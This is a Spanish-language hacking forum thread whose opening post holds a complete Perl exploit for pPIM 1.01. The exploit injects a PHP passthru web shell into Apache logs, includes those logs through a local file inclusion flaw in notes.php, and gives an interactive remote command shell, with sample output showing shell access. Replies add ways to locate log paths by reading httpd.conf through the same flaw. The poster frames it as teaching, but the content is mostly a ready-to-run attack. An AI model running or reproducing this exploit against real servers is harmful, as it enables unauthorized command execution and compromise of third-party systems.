elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'  (Leído 7,689 veces)
JosS__!

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« en: 23 Febrero 2009, 22:13 pm »

Haces escasas horas publiqué un exploit en milw0rm.com, el cual está basado en una técnica muy famosa que nos permite ejecutar comandos mediante LFI, es como un RCE a partir de un LFI.

Exploit:

Código:
#!/usr/bin/perl
####################################################################
# pPIM 1.01 (notes.php id) Remote Command Execution Exploit
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: Jose Luis Gongora Fernandez (a.k.a) JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# thanks for the base code: CWH Underground
# but I changed many things and fix bugs.
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# Trying to Inject the Code...
# Successfully injected in ../../../../../../../var/log/apache2/access.log
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# joss@h4x0rz:~/Desktop$


        use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;


@apache=(
        "../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"
);

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

        print "#######################################################################\n";
        print "# pPIM 1.01 (notes.php id) Remote Command Execution Exploit | By JosS #\n";
        print "#######################################################################\n\n";


        if (!$ARGV[0])
           {
             print "Usage: perl exploit.pl [host]\n";
             print "       perl exploit.pl localhost\n\n";
        exit;}

$host=$ARGV[0];
        $path="/notes.php?mode=edit&id="; # change if it is necesary

# if ( $host   =~   /^http:/ ) {$host =~ s/http:\/\///g;}

print "\nTrying to Inject the Code...\n";
$CODE="<? passthru(\$_GET[cmd]) ?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET /images/"."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#" . "HTTP/1.1";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

if ( $host   !~   /^http:/ ) {$host = "http://" . $host;}

foreach $getlog(@apache)
                {
                  chomp($getlog);         
  $find= $host.$path.$getlog; # $find= $host.$path.$getlog."%00";
                  $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
  $req = HTTP::Request->new(GET => $find);
  $res = $xpl->request($req);
  $info = $res->content;
                  if($info =~ /\#\#\%\$\$\%\#\#/) # change if it is necesary
                  {print "Successfully injected in $getlog \n\n";$log=$getlog; last;}
                }

print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );

while($cmd !~ "exit") {   
$shell= $host.$path.$log."&cmd=$cmd"; # $shell= $host.$path.$log."%00&cmd=$cmd";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );
}

         
        # __h0__

Mirror: http://milw0rm.com/exploits/8093

Propósito del TOPIC: La principal razón de este topic es para que la gente aprenda a implementar en sus propios exploits la forma de hacer un RCE mediante LFI, además estaré aquí para cualquier duda que se prensete.

Un saludo.
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #1 en: 23 Febrero 2009, 23:53 pm »

Yo hace tiempo tube un problemilla al cargar los logs de apache bajo free BSD, habra la posibilidad de cargar un archivo de ubicación de logs en el script?

(creo que tengo que aprender perl ¬¬)
En línea

JosS__!

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso r
« Respuesta #2 en: 24 Febrero 2009, 00:07 am »

a que te refieres con 'cargar'?, explícate un poco mejor a ver si te puedo ayudar.

Un saludo.
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #3 en: 24 Febrero 2009, 02:48 am »

Hola, creo entender que te refieres a poder hacer ina inclusión al archivo de logs pero en el caso de que bsd no tenga por defecto el mismo directorio de logs puedes sacarlo atraves del httpd.conf..

Citar
echo nl2br(htmlspecialchars(LFI_GET('../../../../../etc/httpd/conf/httpd.conf%00'), ENT_QUOTES));
(es solo un ejemplo)

Con esto ya podrás ver la libnea donde se aloja el directorio de logs:
Citar
CustomLog "c:/wamp/logs/access.log" common
Este es mi caso porque uso un wamp pero en linux debería aparecer la ruta exacta de logs.

PD: JosS__! muchas gracias por tu aporte, de seguro le podrá servir a muchos.
« Última modificación: 24 Febrero 2009, 02:50 am por WHK » En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #4 en: 24 Febrero 2009, 19:45 pm »

me refiero a ahcer algo asi

Código
  1. $logs = file("logs.txt");
  2. $lineas = count($logs);
  3. for($i=0; $i < $lineas; $i++){
  4.       echo $logs[$i];
  5. }

pero en perl, o sea, en ese archivo "logs.txt" tenemos todas las rutas posibles en diferentes sistemas y vamos leyendo linea a linea para comprarar esa cadena (la ubicacion del archivo log) :D

o sea, algo asi como "leer de una base de datos la ubicacion de logs" usando un archivo de texto :D

p
En línea

JosS__!

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso r
« Respuesta #5 en: 24 Febrero 2009, 22:56 pm »

por supuesto que se puede ... pero tienes algún problema con eso? o solo preguntabas si se podía?

saludos
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #6 en: 25 Febrero 2009, 01:20 am »

Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #7 en: 25 Febrero 2009, 02:15 am »

Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')

Azielito si todos nacieramos sabiendo no creo que todavía estubieramos viviendo dependizados del petroleo.

Código
  1. #!/usr/local/perl
  2. open(manejador, 'auditorias.txt'); # abre los links
  3. $cantidad = 0;
  4. while(<manejador>){ # while por cada linea hasta que sea null (haya terminado)
  5. $cantidad++;
  6. chomp; # Termina la cadena
  7. apache[$cantidad] = $_;
  8. }

Con esto puedes reemplazar el array de @apache para que cada linea del texto se transforme en un array.

De esta misma forma hasta puedes separar por funciones y hacer escaneos para LFI, RFI, SQLI etc anteponiendo un id al comienzo de cada ruta como por ejemplo LFI:RUTA y con split separas lo que vas a auditar con la ruta y vas testeando y enviando los datos a la función correspondiente.
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #8 en: 25 Febrero 2009, 16:10 pm »

wow '_'

al final es muuuuuuy similar a PHP :xD

ahora mismo lo pruebo :D gracias




eso de hacer escaneos para LFI, RFI, SQLi no se me habia ocurrido, asi con un solo script sabras todo >.<

ahora me pongo a estudiar perl :')
En línea

Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #9 en: 25 Febrero 2009, 17:05 pm »

Agrega python  :P , que se está dando a conocer y muchos exploits y tools están apareciendo en ese lenguaje, perl lo aprendí por lo mismo  ;D

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[CASO REAL] Vulnerabilidades replicadas: Un barrio al descubierto « 1 2 3 4 5 »
Hacking
rolo91 41 43,469 Último mensaje 5 Diciembre 2010, 15:38 pm
por ddaanniii
Ayuda con caso práctico
Redes
nemorales 0 3,877 Último mensaje 3 Diciembre 2010, 00:25 am
por nemorales
Problema SQLi real/practico
Nivel Web
Søra 4 3,935 Último mensaje 23 Septiembre 2011, 23:59 pm
por ~ Yoya ~
Caso Práctico
Dudas Generales
B€T€B€ 2 2,052 Último mensaje 15 Febrero 2020, 23:08 pm
por B€T€B€
Creación de .exe en python (nada practico)
Scripting
AngelAscii 4 2,754 Último mensaje 19 Marzo 2021, 14:56 pm
por AngelAscii
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines